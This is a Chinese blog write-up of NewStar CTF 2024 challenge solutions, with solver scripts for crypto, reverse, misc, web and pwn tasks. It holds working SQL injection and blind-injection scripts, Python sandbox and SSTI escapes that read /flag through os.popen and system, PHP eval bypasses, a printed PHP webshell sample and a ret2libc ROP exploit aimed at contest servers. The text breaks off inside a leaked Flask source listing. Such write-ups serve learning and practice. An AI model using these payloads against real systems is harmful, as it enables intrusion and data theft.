Newstar2024

本文最后更新于 2024年11月11日 下午

前言:后面也没怎么打了,又没时间自己又笨,抄个冷饭放上来吧。

week1

Signin

ez_answer

正常答题老实一点就出flag了,正常的规则

Misc

decompress

前几层正常的解压,到最后一层有hint提示,是正则提示简单的看一下,一共是五位密码,前三位是小写字母,第四位数字,第五位是小写字母,用常见的爆破工具进行爆破一下就行,需要十分钟左右的时间吧爆破出来的密码是xtr4m,进去打开第一个压缩包就有flag

1

pleasingMusic

2

aud看一下有摩斯电码,用在线网站先进行初步的音频分离,然后利用题目正反都好听,将.-从后往前敲自己在线网站手敲一下得到编码ez_morse_code,最后套个flag

WhereIsFlag

flag在proc/self/envrion里面,典型的藏在环境变量里

Labyrinth

简单的lsb查找

1

兑换码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
import zlib
import struct

if len(sys.argv) != 2:
print("Usage: python script.py <png_path>")
sys.exit(1)

file = sys.argv[1]
fr = open(file, 'rb').read()
data = bytearray(fr[12:29])

# 获取 CRC32 校验和
crc32key = struct.unpack('>I', fr[29:33])[0] & 0xffffffff
print(f"CRC32 Key: {crc32key}")

n = 4096
found = False

for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(f"Width: {w}, Height: {h}")
print(f"Data: {data}")
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
with open(file, 'wb') as fw:
fw.write(newpic)
print(f"新图片已保存为: {file}")
found = True
break
if found:
break

简单的crc爆破,直接脚本梭就行了,flag在底部

Crypto

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import bytes_to_long, long_to_bytes

# 密钥和加密的值
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'

# 解密 m1
m1 = c1 ^ bytes_to_long(key)

# 解密 m2
m2 = bytes(a ^ b for a, b in zip(c2, key))

# 将解密的结果转换为字节并打印
flag_part1 = long_to_bytes(m1).decode('utf-8')
flag_part2 = m2.decode('utf-8')

# 输出完整的 flag
flag = flag_part1 + flag_part2
print('Decrypted flag:', flag)

Base

赛博厨子一把梭

4

一眼秒了

简单的rsa,题目说n小小的也很可爱,用factordb在线网站看看发现有因子,带入p直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from gmpy2 import invert

# 已知的值
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
e = 65537
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421

# 计算 q
q = n // p

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d
d = invert(e, phi_n)

# 解密
m = pow(c, d, n)

# 输出解密后的 flag
flag = long_to_bytes(m)
print('Decrypted flag:', flag.decode())

Strange King

rot的变形移位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def decrypt_flag(encrypted_flag):
decrypted_flag = []
shift_values = [5, 7, 9, 11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61] # 移位值
for i, char in enumerate(encrypted_flag):
# 计算移位
shift = shift_values[i % len(shift_values)]
if char.isalpha(): # 只处理字母
# 处理大写字母
if char.isupper():
new_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
# 处理小写字母
elif char.islower():
new_char = chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
decrypted_flag.append(new_char)
else:
decrypted_flag.append(char) # 非字母字符不变

return ''.join(decrypted_flag)

# 测试
encrypted_flag = "ksjr{EcxvpdErSvcDgdgEzxqjql}"
decrypted_flag = decrypt_flag(encrypted_flag)
print('Decrypted flag:', decrypted_flag)

Web

headach3

5

会赢吗

第一部分看源码flag{WA0w

第二部分!_y4_r3al

5

第三部分1y_Gr4sP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 修改状态为 "解封"
document.getElementById('state').textContent = '解封';

// 获取实际的 CSRF 令牌
const csrfTokenValue = document.getElementById('csrf_token').value; // 确保这个元素存在

// 发送请求
fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: csrfTokenValue })
})
.then(response => response.json())
.then(data => {
console.log(`第三部分Flag: ${data.flag}, 下一关: /${data.nextLevel || '无'}`);
})
.catch(error => console.error('请求过程中出现错误:', error));

第四部分fSkpKcyF9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 获取 CSRF 令牌
const csrfToken = document.getElementById('csrf_token').value;

// 发送请求
fetch('/api/flag/Ap3x', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `csrf_token=${encodeURIComponent(csrfToken)}`
})
.then(response => response.json())
.then(data => {
console.log(`Flag: ${data.flag}`);
})
.catch(error => console.error('请求过程中出现错误:', error));

flag{WA0w!_y4_r3al1y_Gr4sP}?不对,应该直接ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9然后再转base64的

智械危机

找到对应的然后跑脚本填入得到flag

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$decrypted_cmd='cat /f*';
$cmd=base64_encode($decrypted_cmd);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd=md5($reversed_cmd);
$decode_key=$hashed_reversed_cmd;
$key=base64_encode($decode_key);
echo $cmd;
echo $key;

将得到的对应内容进行post发包即可

PangBai 过家家(1)

体感不算好,但是题目很好,不知道为什么这么卡的原因

第一层没怎么看明白,简单的抓包后修改一下header里的cookie看网络回显location进入第二层

第二层换cookie,get发包?ask=miao

第三层post发包say=hello

第四层改个referer,再把agent改一下把firefox改成Papa就行了

这层好像也要改为say=玛卡巴卡阿卡哇卡米卡玛卡呣

第五层好像是发patch,我是python进行发包的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

# 目标 URL
url = "http://101.200.139.65:25030/?ask=Papa"

# 构造文件上传部分和字符串参数
files = {'file': ('patch.zip', open('1.zip', 'rb'))}
data = {
'say': '玛卡巴卡阿卡哇卡米卡玛卡呣'
}

# 添加必要的 headers
headers = {
'Cookie': 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6MH0.J62yrWvSS_4OY6g19WR70lIq5DBRs70ISiH1rf8OUB0',
'Referer': 'http://101.200.139.65:35208/?ask=Papa',
'User-Agent': 'Papa/5.0 (Windows NT 10.0; Win64; x64)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Origin': 'http://101.200.139.65:35208',
'X-Forwarded-For':'127.0.0.1'
}

# 发送 PATCH 请求
response = requests.patch(url, files=files, data=data, headers=headers)

# 打印服务器返回的响应
print(response.text)

第六层好像是jwt的更改,题目给了密钥直接在网站上改为level0再带入进行了

13

最后带入进行修改我把包又带到bp的自带浏览器里面得到最后的flag,按一下醒来等flag就行了

14

谢谢皮蛋

1
-1 union select 1,database()#
1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'#
1
-1 union select 1,group_concat(id,des,value) from Fl4g#

Re

begin

跟着流程做,一共三个部分,f5然后a,shiftf12,x

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

base64

简单的base64换表

7

ezAndroidStudy

使用工具是jeb

flag1和flag2直接全局搜索得到flag部分,flag2在注释里,忘截屏了

8

flag3在xml中

9

flag4也是搜索然后在注释里得到

10

flag5在so里面导出然后带入ida逆向一下

11

Simple_encryption

ida然后f5看main函数,一个简单的异或,定位一下密钥,简单的脚本带入

12

1
2
3
4
5
6
7
8
9
10
11
12
from idaapi import *
decoded = ""
for i in range(30):
enc = get_byte(0x403020 + i)
if i % 3 == 0:
enc = (enc + 31) & 0xFF
elif i % 3 == 1:
enc = (enc - 41) & 0xFF
else: # i % 3 == 2
enc ^= 0x55
decoded += chr(enc)
print(decoded)

ez_debug

ida打开简单的看一下判断flag后会对密文进行解密

15可以用x64dbg打断点得到flag

15

pwn

Real Login

有附件进行下载,ida的f5得到密钥,直接cat flag就行

15

Game

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('39.106.48.123', 30474)

p.recvuntil("Let's play a game!")

for _ in range(100):
p.sendline('10')
p.recvuntil("pls input you num: ")
p.interactive()

16

大概的思路就是在5u内填入数字最后大于999即可,然后就可以进入执行命令了

overwrite

16

有长度限制通过输入-1进行绕过,在read函数中会转换为unsigned int类型允许读取大量数据

nbytes_4 在栈中有固定大小(0x30),填充 0x30 字节后,可以覆盖返回地址。

atoi 的输入字符串在可处理的范围内(即不超过 2147483647),否则可能导致未定义行为,返回0

所以输入(0x30+0x06)个数字即可

18

gdb

ida简单的看一下

用pwndbg进行查看,enc在rbp-0x4394557455355431d45同时注意有不可见字符\x1d

1
2
3
4
5
from pwn import *
p=remote("101.200.139.65",25014)
s=p.recvuntil(b'data:')
p.sendline(b"\x5d\x1d\x43\x55\x53\x45\x57\x45")
p.interactive()

18

week2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from bs4 import BeautifulSoup

session = requests.Session()
url = 'http://eci-2zea4sz6ovy11afw7m58.cloudeci1.ichunqiu.com/start'
res = session.get(url)

soup = BeautifulSoup(res.text, 'html.parser')
text = soup.find('p', id='text').get_text()
user_input = text

post_url = 'http://eci-2zea4sz6ovy11afw7m58.cloudeci1.ichunqiu.com/submit' # 替换为实际的 POST URL
data = {'user_input': user_input} # 设置 POST 数据

# 发送 POST 请求
response = session.post(post_url, data=data)
print(response.text)

week2

Crypto

这是几次方? 疑惑!

加法的运算逻辑在^之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

# 已知参数
n = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261
e = 65537
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390

# 步骤 1: 恢复 p
p = hint ^ (e + 10086)

# 步骤 2: 计算 q
q = n // p

# 步骤 3: 计算 d (私钥)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 步骤 4: 解密密文
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())

Just one and more than two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *

# 已知参数
p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e = 65537

# 步骤 1: 从 c1 解密
d1 = pow(e, -1, p - 1)
m1 = pow(c1, d1, p)

# 步骤 2: 计算 N 和 phi(N)
N = p * q * r
phi_N = (p - 1) * (q - 1) * (r - 1)

# 步骤 3: 从 c2 解密
d2 = pow(e, -1, phi_N)
m2 = pow(c2, d2, N)

# 拼接明文
flag = long_to_bytes(m1) + long_to_bytes(m2)

print(flag.decode())

Since you konw something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import long_to_bytes

def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b * (len(a) // len(b) + 1)))

c = 218950457292639210021937048771508243745941011391746420225459726647571

# Convert c back to bytes
c_bytes = long_to_bytes(c)

# Function to try decryption with a given key
def try_decrypt(key):
decrypted = xor_bytes(c_bytes, key)
if decrypted.startswith(b'flag{') and decrypted.endswith(b'}'):
return decrypted.decode()
return None

# Try all possible single-byte keys
for i in range(256):
key = bytes([i])
result = try_decrypt(key)
if result:
print(f"Found flag with key {key.hex()}: {result}")
break

# If single-byte key doesn't work, try short strings
if not result:
import string
import itertools
chars = string.printable.encode()
for length in range(2, 5): # Try keys up to 4 characters long
for key in itertools.product(chars, repeat=length):
key = bytes(key)
result = try_decrypt(key)
if result:
print(f"Found flag with key {key.hex()}: {result}")
break
if result:
break

if not result:
print("Could not find the key. The key might be longer or more complex.")

茶里茶气

难得自己分析之后再叫ai写的

开头是一个类tea的算法,然后之后拼接转回hex再拼接一下就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480

derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071

v2 = (derta * 32) % p
# 反向32次迭代的加密过程
for i in range(32):
v2 = (v2 - derta) % p
v0 = (v0 - ((v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6))) % p
v1 = (v1 - ((v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4))) % p

print("v0=", v0)
print("v1=", v1)
l = 199
shift = l // 2

combined = (v0 << shift) + v1
a = hex(combined)[2:]

if len(a) % 2 != 0:
a = "0" + a

flag = "".join([chr(int(a[i:i+2], 16)) for i in range(0, len(a), 2)])

print("Recovered flag:", flag)

Misc

wireshark_checkin

wireshark打开http看一下追踪里面里面有flag

23

wireshark_secret

导出图片得到flag

24

热心助人的小明同学

Passware Kit Forensic工具一把梭

25

用溯流仪见证伏特台风

查找到网站,定位到domain,进行16位小写md5得到flag

你也玩原神吗

gif提取内容

36

原神真好玩😋,我直接手调

26

右下角的内容就行栅栏解密

27

字里行间的秘密

txt打开看下面的字符,零宽度隐写

28

带入解密,复制粘贴到txt里面即可得到flag

Herta’s Study

加密逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);

?>

简单分析一下流量,中间传了一次假的flag后面传了一次真的,明显的==,上exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function reverseEncryption($ns) {
for ($i = 0; $i < strlen($ns); $i++) {
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
return base64_decode($ns);
}
$encryptedString = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
$decryptedString = reverseEncryption($encryptedString);
echo $decryptedString;

Re

UPX

测试了一下,下载最新的upx脱壳,版本老的不行,简单的脱壳后发现是rc4,写解密脚本

29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def init_sbox(key):
sbox = list(range(256))
j = 0
key_length = len(key)

for i in range(256):
j = (j + sbox[i] + key[i % key_length]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]

return sbox

def rc4(key, data):
sbox = init_sbox(key)
i = j = 0
output = []

for byte in data:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i] # swap
output.append(byte ^ sbox[(sbox[i] + sbox[j]) % 256]) # xor

return bytes(output)

# 定义 data(转换为无符号字节)
data = [
196, 96, 175, 185, 227, 255, 46, 155,
245, 16, 86, 81, 110, 238, 95, 125,
125, 110, 43, 156, 117, 181
]

key = b'NewStar'

decrypted_flag = rc4(key, data)
print(decrypted_flag.decode('utf-8', errors='ignore'))

drink_TEA

先看加密逻辑

34

35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t sum = 0xC6EF3720; // 0x9E3779B9 * 32
uint32_t delta = 0x9E3779B9;

for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}

v[0] = v0;
v[1] = v1;
}

int main() {
char key[] = "WelcomeToNewStar";
uint8_t enc[] = { 120, 32, 247, 179, 197, 66, 206, 218,
133, 89, 33, 26, 38, 86, 90, 89,
41, 2, 13, 237, 7, 168, 185, 238,
54, 89, 17, 135, 253, 92, 35, 36 };

// 将密钥转换为 uint32 列表
uint32_t k[4] = {0};
memcpy(k, key, sizeof(k));

// 每8字节(两个 uint32)进行解密
for (int i = 0; i < sizeof(enc); i += 8) {
uint32_t v[2];
memcpy(v, enc + i, sizeof(v));
decrypt(v, k);

// 检查解密后的值
printf("Decrypted values: %u %u\n", v[0], v[1]);

// 更新加密数组
memcpy(enc + i, v, sizeof(v));
}

// 输出解密后的结果
for (int i = 0; i < sizeof(enc); i++) {
if (enc[i] >= 32 && enc[i] < 127) {
putchar(enc[i]);
}
}
putchar('\n');

return 0;
}

Dirty_flowers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def decrypt(v3, key):
decrypted = []
key_length = len(key)
for i in range(len(v3)):
decrypted_char = v3[i] ^ ord(key[i % key_length])
decrypted.append(decrypted_char)
return decrypted
v3 = [
2, 5, 19, 19, 2, 30, 83, 31, 92, 26,
39, 67, 29, 54, 67, 7, 38, 45, 85, 13,
3, 27, 28, 45, 2, 28, 28, 48, 56, 50,
85, 2, 27, 22, 84, 15
]
key = "dirty_flower"
decrypted_values = decrypt(v3, key)
flag = ''.join(chr(num) for num in decrypted_values)
print(flag)

Web

你能在一秒内打出八句英文吗

简单分析一下前端后写个py发包就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from bs4 import BeautifulSoup

session = requests.Session()
url = 'http://eci-2zeefa47o1td1sssj8ml.cloudeci1.ichunqiu.com/start'
res = session.get(url)

soup = BeautifulSoup(res.text, 'html.parser')
text = soup.find('p', id='text').get_text()
user_input = text

post_url = 'http://eci-2zeefa47o1td1sssj8ml.cloudeci1.ichunqiu.com/submit'
data = {'user_input': user_input}

# 发送 POST 请求
response = session.post(post_url, data=data)
print(response.text)

遗失的拉链

根据题目的提示应该是www.zip下载看一下pizwww.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

用数组绕过就行了

然后执行system(‘tac /f*’)就可以了

谢谢皮蛋 plus

过滤了空格,是字符绕过

1
-1"/**/union/**/select/**/1,database()#
1
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
1
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
1
-1"/**/union/**/select/**/1,group_concat(id,des,value)/**/from/**/Fl4g#

复读机

简单测试了一下xss和ssti,发现是ssti,但是手测不出来禁了什么,fenjing一把梭吧

30

PangBai 过家家(2)

git泄露找了好几个版本,用https://github.com/WangYihang/GitHacker这个版本的可以得到

32

也git下来,git add一下得到一个文件BacKd0or.v2d23AOPpDfEW5Ca.php,看一下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
# Functions to handle HTML output
function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}
function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js',
'/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}
# Backdoor
if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/',
$_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

分析一下get需要发包的为

1
NewStar[CTF.2024=Welcome%0a

需要进行截取,然后还有个php特性的问题

post发包

1
papa=TfflxoU0ry7c&func=system&args=set

call_user_func是构造函数,查看系统环境得到flag

33

Pwn

ez_game

用checksec检查一下,发现是64位,开了NX保护F5弹出伪代码,看一下。在func函数中发现溢出点

没有system字符串,也没有bin/sh,同时也开启了NX保护,说明是ret2libcROPgadget –binary ‘attachment’ –only ‘pop|ret’ 查看rdi与ret的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
p=remote('101.200.139.65',30806)
elf=ELF('./a')
libc=ELF('./libc-2.31.so')

rdi=0x400783
ret=0x400509
main=0x400702
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload1=b"\x00".ljust(0x58, b'a')+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)
p.recvuntil('Welcome to NewStarCTF!!!!')
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

libcbase = puts_addr - libc.sym['puts']
sys = libcbase + libc.symbols['system']
binsh = libcbase + next(libc.search(b"/bin/sh\x00"))

print(hex(libcbase))
print(hex(sys))
print(hex(binsh))
payload2 = b"\x00".ljust(0x58, b'a') + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)


p.sendline(payload2)
p.interactive()

31

week3

Web

Include Me

简单的伪协议绕过

臭皮踩踩背

这方面学的不多,先试试

1
(1).__class__.__bases__[0].__subclasses__()

当前环境中的 __subclasses__() 返回了许多类,有点类似ssti的过程,试试132可以

最后构造payload

1
(1).__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()

37

臭皮的计算机

一开始在想异或或者条件竞争,回宿舍突然灵机一动想出来了

八进制进行转化

1
\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\163\171\163\164\145\155\050\047\143\141\164\040\057\146\154\141\147\047\051

对应的语句是

1
__import__('os').system('cat /flag')

blindsql1(复现)

一直在等官p,我想到的时间盲注一直注不出来,想拿到官p分析一下,先上我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import time
import requests
import string
dicts = string.ascii_letters+"_"+"-"+"{}"
#dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://eci-2ze6bhm7y89n414z4qi0.cloudeci1.ichunqiu.com/'

def get_flag_char(index):
for char in dicts:
payload = f"-1'||(if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),{index},1)like('{char}'),sleep(0.5),0))#"
# 库名是students_courses_secrets
#payload = f"-1'||(if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like(736563726574735F636F75727365735F73747564656E7473))),{index},1)like('{char}'),sleep(0.5),0))#"

params = {'student_name': payload}
try:
start_time = time.time()
r = requests.get(url=url, params=params)
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

上一下官p吧方法其实类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests,string,time

url = 'http://eci-2ze6bhm7y89omu7vsmgr.cloudeci1.ichunqiu.com/'

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})

if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break

具体我的代码讲解可以看sql2的我的写法

这“照片”是你吗(复现)

写这题的时候完全没思路,基础功底太差了,跟着官p复现一下,先看源码的hint

1
2
3
4
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->

能获取路由但是没有中间件来支持,服务端处理文件和路由的逻辑很有可能会有漏洞。wappalyzer可以发现是flask的框架,测试了一下是用目录穿越的漏洞的

49

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
